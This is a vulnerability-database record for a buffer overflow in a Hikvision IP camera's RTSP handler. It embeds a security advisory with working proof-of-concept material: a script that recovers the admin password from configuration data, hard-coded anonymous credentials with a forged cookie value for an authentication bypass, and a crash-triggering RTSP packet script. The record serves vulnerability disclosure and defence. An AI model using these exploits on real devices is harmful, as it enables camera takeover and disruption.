ID

VAR-201403-0122


CVE

CVE-2013-4977


TITLE

Hikvision DS-2CD7153-E IP Camera firmware RTSP Packet Handler Vulnerable to buffer overflow

Trust: 0.8

sources: JVNDB: JVNDB-2013-006098

DESCRIPTION

Buffer overflow in the RTSP Packet Handler in Hikvision DS-2CD7153-E IP camera with firmware 4.1.0 b130111 (Jan 2013), and possibly other devices, allows remote attackers to cause a denial of service (device crash and reboot) and possibly execute arbitrary code via a long string in the Range header field in an RTSP transaction. Hikvision DS-2CD7153-E IP Camera is a webcam product. Hikvision DS-2CD7153-E IP camera is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary-checks on user-supplied data. An attacker can exploit this issue to execute arbitrary code within the context of the affected device. Failed exploit attempts may result in a denial-of-service condition. Hikvision DS-2CD7153-E IP camera running firmware 4.1.0 b130111 is vulnerable; other devices may also be affected. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ Hikvision IP Cameras Multiple Vulnerabilities 1. *Advisory Information* Title: Hikvision IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0708 Advisory URL: http://www.coresecurity.com/advisories/hikvision-ip-cameras-multiple-vulnerabilities Date published: 2013-08-06 Date of last update: 2013-08-06 Vendors contacted: Hikvision Release mode: User release 2. *Vulnerability Information* Class: Input validation error [CWE-20], Use of Hard-coded Credentials [CWE-798], Buffer overflow [CWE-119] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-4975, CVE-2013-4976, CVE-2013-4977 3. [CVE-2013-4975] To obtain the admin password from a non-privileged user account. 2. [CVE-2013-4976] To bypass the anonymous user authentication using hard-coded credentials (even if the built-in anonymous user account was explicitly disabled). 3. 4. *Vulnerable Packages* . 5. *Vendor Information, Solutions and Workarounds* There was no official answer from Hikvision after several attempts (see [Sec. 8]); contact vendor for further information. Some mitigation actions may be: . Do not expose the camera to internet unless absolutely necessary. Have at least one proxy filtering HTTP requests to '/PSIA/System/ConfigurationData'. Have at least one proxy filtering the 'Range' parameter in RTSP requests. 6. *Credits* . [CVE-2013-4975] was discovered and researched by Alberto Solino from Core Security. [CVE-2013-4976] was discovered and researched by Alejandro Rodriguez from Core Exploit QA Team. [CVE-2013-4977] was discovered Anibal Sacco. Analysis and research by Anibal Sacco and Federico Muttis from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 7. *Technical Description / Proof of Concept Code* 7.1. *Privilege Escalation through ConfigurationData Request* [CVE-2013-4975] The following script allows obtaining the administrator password by requesting the camera's configuration data and breaking its trivial encryption. A valid user account is needed to launch the attack. /----- import urllib2 import base64 import argparse import sys def decrypt(config): # Important: We're assuming the last 4 bytes of the file's plaintext are # zero, hence there we have the key. There are other easy ways to # calculate this tho. print '[*] Decrypting config' key = config[-4:] plaintext = '' for i in range(len(config)/4): for j in range(4): plaintext += chr(ord(config[i*4+j]) ^ ord(key[j])) return plaintext def attack(target, username, password, output): base_url = 'http://' + target + '/PSIA/System/ConfigurationData' headers = { 'Authorization': 'Basic ' + base64.b64encode('%s:%s' %(username,password)) } print '[*] Attacking %s ' % target req = urllib2.Request(base_url, None, headers) try: response = urllib2.urlopen(req) config = response.read() except Exception, e: print e return plaintext = decrypt(config) print '[*] Writing output file %s' % output f = open(output, 'w') f.write(plaintext) f.close() user = plaintext[0x45A0:0x45A0+32] pwd = plaintext[0x45C0:0x45C0+16] print 'Probably the admin user is %s and the password is %s' % (user, pwd) print "If it doesn't make any sense, just do a strings of the output file" if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('target', action = 'store', help = 'target host to attack') parser.add_argument('username', action = 'store', help = 'username to be used to authenticate against target') parser.add_argument('password', action = 'store', help = "username's password") parser.add_argument('output', action = 'store', help = "filename to write the plaintext config") if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() attack(options.target, options.username, options.password, options.output) -----/ 7.2. *Anonymous User Authentication Bypass* [CVE-2013-4976] The camera has a built-in anonymous account intended for guest users, but even when the feature is disabled it could be bypassed due to the usage of hardcoded credentials: /----- user: anonymous password: \177\177\177\177\177\177 -----/ The bypass cannot be used directly through the login form but rather by forging a cookie: 1. Load the login page to generate the initial cookies of the camera's webapp. 2. Use your preferred tool (for example Firebug on Firefox) to create a cookie with the name 'userInfoXX' (replace XX with the port where the webserver is running i.e. 'userInfo80'), path '/' and value 'YW5vbnltb3VzOlwxNzdcMTc3XDE3N1wxNzdcMTc3XDE3Nw=='; this is the tuple 'user:pass' encoded in base64 explained above. 3. Request the URI 'http:/<ipcam>/doc/pages/main.asp', a page that should not be accessed without authentication if the anonymous user is disabled. There are several references to those hardcoded credentials in the cgis, but in particular the following snippet was found in '/doc/pages/scripts/login.js':: /----- 107: function DoLogin(){ (...) 166: $.cookie('userInfo'+m_lHttpPort,m_szUserPwdValue==""?Base64.encode("anonymous:\177\177\177\177\177\177" ):m_szUserPwdValue); (...) -----/ This bypass is not completely useful per se since all the interesting requests are actually handled by the PSIA (Physical Security Interoperability Alliance's) API. Nevertheless, if it is ever combined with a privilege escalation it would allow remote attacker to control the camera without proper credentials. 7.3. *Buffer Overflow in the RTSP Packet Handler* [CVE-2013-4977] The following Python script sends a specially crafted packet that triggers a buffer overrun condition when handling the 'Range' parameter of a RTSP transaction. As a result, the process handling the communication crashes and the Watchdog service issues a full restart. No authentication is required to exploit this vulnerability and it would possible lead to a remote code execution. /----- import socket HOST = '192.168.1.100' PORT = 554 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) trigger_pkt = "PLAY rtsp://%s/ RTSP/1.0\r\n" % HOST trigger_pkt += "CSeq: 7\r\n" trigger_pkt += "Range: npt=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9aLSaLSaLS\r\n" trigger_pkt += "User-Agent: VLC media player (LIVE555 Streaming Media v2010.02.10)\r\n\r\n" s.sendall(trigger_pkt) print "Packet sent" data = s.recv(1024) print 'Received', repr(data), "\r\n" s.close() -----/ 8. *Report Timeline* . 2013-07-08: Core attempts to report the vulnerability using the Hikvision official contact addresses [3]. No reply received. 2013-07-15: Core attempts to contact vendor. 2013-07-22: Core attempts to contact vendor. 2013-07-30: Core attempts to contact vendor. 2013-08-06: Advisory CORE-2013-0708 published as 'user release'. 9. *References* [1] Hikvision DS-2CD7153-E Network Mini Dome Camera, http://www.hikvision.com/en/products_show.asp?id=506. [3] Hikvision contact page, http://www.hikvision.com/En/US/contactHikvision.asp. 10. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. *Disclaimer* The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

Trust: 2.61

sources: NVD: CVE-2013-4977 // JVNDB: JVNDB-2013-006098 // CNVD: CNVD-2013-11935 // BID: 61642 // VULHUB: VHN-64979 // PACKETSTORM: 122718

IOT TAXONOMY

category:['IoT', 'Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2013-11935

AFFECTED PRODUCTS

vendor:hikvisionmodel:ds-2cd7153-escope:eqversion:4.1.0_b130111

Trust: 1.6

vendor:hikvisionmodel:ds-2cd7153-escope:eqversion: -

Trust: 1.0

vendor:hikvision digitalmodel:ds-2cd7153-escope: - version: -

Trust: 0.8

vendor:hikvision digitalmodel:ds-2cd7153-escope:eqversion:4.1.0 b130111 (jan 2013)

Trust: 0.8

vendor:hikvisionmodel:hikvisionscope: - version: -

Trust: 0.6

vendor:hikvisionmodel:digital technology ds-2cd7153-e b130111scope:eqversion:4.1.0

Trust: 0.3

sources: CNVD: CNVD-2013-11935 // BID: 61642 // JVNDB: JVNDB-2013-006098 // CNNVD: CNNVD-201308-117 // NVD: CVE-2013-4977

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2013-4977
value: HIGH

Trust: 1.0

NVD: CVE-2013-4977
value: HIGH

Trust: 0.8

CNVD: CNVD-2013-11935
value: HIGH

Trust: 0.6

CNNVD: CNNVD-201308-117
value: CRITICAL

Trust: 0.6

VULHUB: VHN-64979
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2013-4977
severity: HIGH
baseScore: 10.0
vectorString: AV:N/AC:L/AU:N/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 10.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

CNVD: CNVD-2013-11935
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

VULHUB: VHN-64979
severity: HIGH
baseScore: 10.0
vectorString: AV:N/AC:L/AU:N/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 10.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

sources: CNVD: CNVD-2013-11935 // VULHUB: VHN-64979 // JVNDB: JVNDB-2013-006098 // CNNVD: CNNVD-201308-117 // NVD: CVE-2013-4977

PROBLEMTYPE DATA

problemtype:CWE-119

Trust: 1.9

sources: VULHUB: VHN-64979 // JVNDB: JVNDB-2013-006098 // NVD: CVE-2013-4977

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201308-117

TYPE

buffer overflow

Trust: 0.6

sources: CNNVD: CNNVD-201308-117

CONFIGURATIONS

sources: JVNDB: JVNDB-2013-006098

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-64979

PATCH

title:DS-2CD7153-Eurl:http://www.hikvision.com/en/products_show.asp?id=506

Trust: 0.8

title:Hikvision DS-2CD7153-E IP Camera Remote Buffer Overflow Vulnerability Patchurl:https://www.cnvd.org.cn/patchInfo/show/54372

Trust: 0.6

sources: CNVD: CNVD-2013-11935 // JVNDB: JVNDB-2013-006098

EXTERNAL IDS

db:NVDid:CVE-2013-4977

Trust: 3.5

db:BIDid:61642

Trust: 2.6

db:PACKETSTORMid:122718

Trust: 1.8

db:XFid:86292

Trust: 1.4

db:JVNDBid:JVNDB-2013-006098

Trust: 0.8

db:CNNVDid:CNNVD-201308-117

Trust: 0.7

db:CNVDid:CNVD-2013-11935

Trust: 0.6

db:XFid:2

Trust: 0.6

db:BUGTRAQid:20130806 CORE-2013-0708 - HIKVISION IP CAMERAS MULTIPLE VULNERABILITIES

Trust: 0.6

db:EXPLOIT-DBid:27402

Trust: 0.1

db:VULHUBid:VHN-64979

Trust: 0.1

sources: CNVD: CNVD-2013-11935 // VULHUB: VHN-64979 // BID: 61642 // JVNDB: JVNDB-2013-006098 // PACKETSTORM: 122718 // CNNVD: CNNVD-201308-117 // NVD: CVE-2013-4977

REFERENCES

url:http://www.coresecurity.com/advisories/hikvision-ip-cameras-multiple-vulnerabilities

Trust: 2.6

url:http://www.securityfocus.com/bid/61642

Trust: 1.7

url:http://archives.neohapsis.com/archives/bugtraq/2013-08/0046.html

Trust: 1.7

url:http://packetstormsecurity.com/files/122718/hikvision-ip-cameras-overflow-bypass-privilege-escalation.html

Trust: 1.7

url:http://xforce.iss.net/xforce/xfdb/86292

Trust: 1.4

url:https://exchange.xforce.ibmcloud.com/vulnerabilities/86292

Trust: 1.1

url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-4977

Trust: 0.8

url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2013-4977

Trust: 0.8

url:http://corelabs.coresecurity.com/index.php?module=wiki&action=view&type=advisory&name=core-2013-0708

Trust: 0.6

url:http://www.hikvision.com/en/products_show.asp?id=506

Trust: 0.3

url:http://www.coresecurity.com/advisories/hikvision-ip-cameras-multiple-vulnerabilities#devices

Trust: 0.3

url:https://nvd.nist.gov/vuln/detail/cve-2013-4977

Trust: 0.1

url:http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-4975

Trust: 0.1

url:http://corelabs.coresecurity.com/

Trust: 0.1

url:http://www.hikvision.com/en/products_show.asp?id=506.

Trust: 0.1

url:http://www.coresecurity.com.

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-4976

Trust: 0.1

url:http://'

Trust: 0.1

url:http://creativecommons.org/licenses/by-nc-sa/3.0/us/

Trust: 0.1

url:http://www.hikvision.com/en/us/contacthikvision.asp.

Trust: 0.1

url:http://corelabs.coresecurity.com.

Trust: 0.1

sources: CNVD: CNVD-2013-11935 // VULHUB: VHN-64979 // BID: 61642 // JVNDB: JVNDB-2013-006098 // PACKETSTORM: 122718 // CNNVD: CNNVD-201308-117 // NVD: CVE-2013-4977

CREDITS

Anibal Sacco

Trust: 0.9

sources: BID: 61642 // CNNVD: CNNVD-201308-117

SOURCES

db:CNVDid:CNVD-2013-11935
db:VULHUBid:VHN-64979
db:BIDid:61642
db:JVNDBid:JVNDB-2013-006098
db:PACKETSTORMid:122718
db:CNNVDid:CNNVD-201308-117
db:NVDid:CVE-2013-4977

LAST UPDATE DATE

2024-11-23T21:07:02.457000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2013-11935date:2015-01-22T00:00:00
db:VULHUBid:VHN-64979date:2017-08-29T00:00:00
db:BIDid:61642date:2013-08-06T00:00:00
db:JVNDBid:JVNDB-2013-006098date:2014-03-05T00:00:00
db:CNNVDid:CNNVD-201308-117date:2014-03-04T00:00:00
db:NVDid:CVE-2013-4977date:2024-11-21T01:56:49.887

SOURCES RELEASE DATE

db:CNVDid:CNVD-2013-11935date:2013-08-09T00:00:00
db:VULHUBid:VHN-64979date:2014-03-03T00:00:00
db:BIDid:61642date:2013-08-06T00:00:00
db:JVNDBid:JVNDB-2013-006098date:2014-03-05T00:00:00
db:PACKETSTORMid:122718date:2013-08-07T01:52:06
db:CNNVDid:CNNVD-201308-117date:2013-08-14T00:00:00
db:NVDid:CVE-2013-4977date:2014-03-03T16:55:04.037